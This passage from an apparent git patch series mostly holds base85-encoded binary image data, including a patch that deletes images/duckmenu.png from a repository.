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 Date: Wed, 15 May 2024 18:36:15 -0500 Subject: [PATCH 17/23] Delete images/duckmenu.png --- images/duckmenu.png | Bin 18671 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 images/duckmenu.png diff --git a/images/duckmenu.png b/images/duckmenu.png deleted file mode 100644 index 703c31e7e751a3a1bd12a45f3e7ab76341ca0063..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18671 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 